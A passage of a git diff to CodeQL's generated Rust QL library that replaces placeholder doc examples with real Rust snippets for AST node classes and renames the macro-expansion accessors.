foo(); + * static BAR: i32; + * } * ``` * INTERNAL: Do not reference the `Generated::ExternItemList` class directly. * Use the subclass `ExternItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll index 8e8570c3eebb..caff5c624394 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldList.qll @@ -14,9 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FieldList` class directly. * Use the subclass `FieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll index ebdbe7e772f4..c250406e68c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::FnPtrTypeRepr` class directly. * Use the subclass `FnPtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll index 1804f3c70584..6089b1b73ba5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForExpr.qll @@ -17,9 +17,13 @@ import codeql.rust.elements.Pat */ module Generated { /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` * INTERNAL: Do not reference the `Generated::ForExpr` class directly. * Use the subclass `ForExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 6f539d1e7f22..cbe2975bf509 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -16,9 +16,17 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll index 05227971de17..879872572481 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericArg.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::GenericArg` class directly. * Use the subclass `GenericArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll index 56532c2a85e8..a3a363c17bb5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/GenericParam.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` * INTERNAL: Do not reference the `Generated::GenericParam` class directly. * Use the subclass `GenericParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll index 65b4a330b948..ad307cb177f5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Impl.qll @@ -20,9 +20,13 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` * INTERNAL: Do not reference the `Generated::Impl` class directly. * Use the subclass `Impl`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll index ab4d36247e07..01ee54612c3d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ImplTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ImplTraitTypeRepr` class directly. * Use the subclass `ImplTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll index a4e874d3a9ad..780cc9a4b07d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/InferTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::InferTypeRepr` class directly. * Use the subclass `InferTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll index 39149c252587..bf360984e082 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Item.qll @@ -7,6 +7,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AddressableImpl::Impl as AddressableImpl +import codeql.rust.elements.MacroItems import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl /** @@ -15,12 +16,31 @@ import codeql.rust.elements.internal.StmtImpl::Impl as StmtImpl */ module Generated { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` * INTERNAL: Do not reference the `Generated::Item` class directly. * Use the subclass `Item`, where the following predicates are available. */ - class Item extends Synth::TItem, StmtImpl::Stmt, AddressableImpl::Addressable { } + class Item extends Synth::TItem, StmtImpl::Stmt, AddressableImpl::Addressable { + /** + * Gets the attribute macro expansion of this item, if it exists. + */ + MacroItems getAttributeMacroExpansion() { + result = + Synth::convertMacroItemsFromRaw(Synth::convertItemToRaw(this) + .(Raw::Item) + .getAttributeMacroExpansion()) + } + + /** + * Holds if `getAttributeMacroExpansion()` exists. + */ + final predicate hasAttributeMacroExpansion() { exists(this.getAttributeMacroExpansion()) } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll index 7205dbc6bef2..5d470ac9a779 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ItemList.qll @@ -16,9 +16,14 @@ import codeql.rust.elements.Item */ module Generated { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` * INTERNAL: Do not reference the `Generated::ItemList` class directly. * Use the subclass `ItemList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll index 69c89f1b3b59..442a4483c4b8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LetElse.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::LetElse` class directly. * Use the subclass `LetElse`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll index 2819e6fc4038..9652d460b9ea 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Lifetime.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` * INTERNAL: Do not reference the `Generated::Lifetime` class directly. * Use the subclass `Lifetime`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 38f66b06f2f9..7ae2873fa606 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Lifetime */ module Generated { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll index 7bf2d05b0864..a293bfd54276 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeParam.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TypeBoundList */ module Generated { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeParam` class directly. * Use the subclass `LifetimeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll index d95a29cd3029..94b9c13e789c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroCall.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` * INTERNAL: Do not reference the `Generated::MacroCall` class directly. * Use the subclass `MacroCall`, where the following predicates are available. @@ -79,18 +81,18 @@ module Generated { final predicate hasTokenTree() { exists(this.getTokenTree()) } /** - * Gets the expanded of this macro call, if it exists. + * Gets the macro call expansion of this macro call, if it exists. */ - AstNode getExpanded() { + AstNode getMacroCallExpansion() { result = Synth::convertAstNodeFromRaw(Synth::convertMacroCallToRaw(this) .(Raw::MacroCall) - .getExpanded()) + .getMacroCallExpansion()) } /** - * Holds if `getExpanded()` exists. + * Holds if `getMacroCallExpansion()` exists. */ - final predicate hasExpanded() { exists(this.getExpanded()) } + final predicate hasMacroCallExpansion() { exists(this.getMacroCallExpansion()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 8f4b7e0d8a48..b10858d06854 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. * Use the subclass `MacroDef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll index 2a986228abd6..60e6ae6708eb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll @@ -15,9 +15,11 @@ import codeql.rust.elements.MacroCall */ module Generated { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` * INTERNAL: Do not reference the `Generated::MacroExpr` class directly. * Use the subclass `MacroExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll index c86181ff5d5c..5dc115ecba4f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroItems.qll @@ -15,10 +15,18 @@ import codeql.rust.elements.Item */ module Generated { /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` * INTERNAL: Do not reference the `Generated::MacroItems` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index cddbc98a799e..e967082bc775 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -15,9 +15,20 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` * INTERNAL: Do not reference the `Generated::MacroPat` class directly. * Use the subclass `MacroPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll index 0ca357049216..d7c915a9363e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroRules` class directly. * Use the subclass `MacroRules`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index 8664ef91110f..e6b901ba3d97 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroTypeRepr` class directly. * Use the subclass `MacroTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll index 37658ce922ff..b3b97b7a1751 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll @@ -16,9 +16,16 @@ import codeql.rust.elements.MatchArm */ module Generated { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MatchArmList` class directly. * Use the subclass `MatchArmList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll index 193a85eaa114..b0b52879f52c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` * INTERNAL: Do not reference the `Generated::MatchGuard` class directly. * Use the subclass `MatchGuard`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 9f4252af3090..27e6c03a3287 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -17,9 +17,17 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll index bffcfbdba6ff..115ae6afaeac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Name` class directly. * Use the subclass `Name`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index bf690fae0a46..f22dbdf5e228 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. * Use the subclass `NameRef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll index 54d2ecf8a042..6da319c83f3b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` * INTERNAL: Do not reference the `Generated::NeverTypeRepr` class directly. * Use the subclass `NeverTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll index e09cc06cdeee..1e13899b9a57 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.SelfParam */ module Generated { /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParamList` class directly. * Use the subclass `ParamList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 5ad83f994fff..560398ca7f29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -16,9 +16,11 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll index 7ba7741583c8..ddf678e24473 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenPat` class directly. * Use the subclass `ParenPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll index 1ebed2ef11a9..b174f19a1a01 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenTypeRepr` class directly. * Use the subclass `ParenTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index 6bea3762de1d..5c8e5f868204 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -2184,18 +2184,23 @@ private module Impl { } private Element getImmediateChildOfItem(Item e, int index, string partialPredicateCall) { - exists(int b, int bStmt, int bAddressable, int n | + exists(int b, int bStmt, int bAddressable, int n, int nAttributeMacroExpansion | b = 0 and bStmt = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfStmt(e, i, _)) | i) and bAddressable = bStmt + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and n = bAddressable and + nAttributeMacroExpansion = n + 1 and ( none() or result = getImmediateChildOfStmt(e, index - b, partialPredicateCall) or result = getImmediateChildOfAddressable(e, index - bStmt, partialPredicateCall) + or + index = n and + result = e.getAttributeMacroExpansion() and + partialPredicateCall = "AttributeMacroExpansion()" ) ) } @@ -3498,7 +3503,7 @@ private module Impl { private Element getImmediateChildOfMacroCall(MacroCall e, int index, string partialPredicateCall) { exists( int b, int bAssocItem, int bExternItem, int bItem, int n, int nAttr, int nPath, - int nTokenTree, int nExpanded + int nTokenTree, int nMacroCallExpansion | b = 0 and bAssocItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAssocItem(e, i, _)) | i) and @@ -3509,7 +3514,7 @@ private module Impl { nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nPath = nAttr + 1 and nTokenTree = nPath + 1 and - nExpanded = nTokenTree + 1 and + nMacroCallExpansion = nTokenTree + 1 and ( none() or @@ -3526,7 +3531,9 @@ private module Impl { or index = nPath and result = e.getTokenTree() and partialPredicateCall = "TokenTree()" or - index = nTokenTree and result = e.getExpanded() and partialPredicateCall = "Expanded()" + index = nTokenTree and + result = e.getMacroCallExpansion() and + partialPredicateCall = "MacroCallExpansion()" ) ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll index 24c4fd531ec0..6057a7eb3269 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll @@ -15,6 +15,18 @@ import codeql.rust.elements.TypeArg */ module Generated { /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` * INTERNAL: Do not reference the `Generated::ParenthesizedArgList` class directly. * Use the subclass `ParenthesizedArgList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll index d26bfbb8d5a6..dd831902b99c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll @@ -22,6 +22,12 @@ import codeql.rust.elements.TypeRepr module Generated { /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` * INTERNAL: Do not reference the `Generated::PathSegment` class directly. * Use the subclass `PathSegment`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 8195ded45ee1..7fa652459f73 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -15,7 +15,7 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll index 609c8d258c49..34c116a037e0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::PtrTypeRepr` class directly. * Use the subclass `PtrTypeRepr`, where the 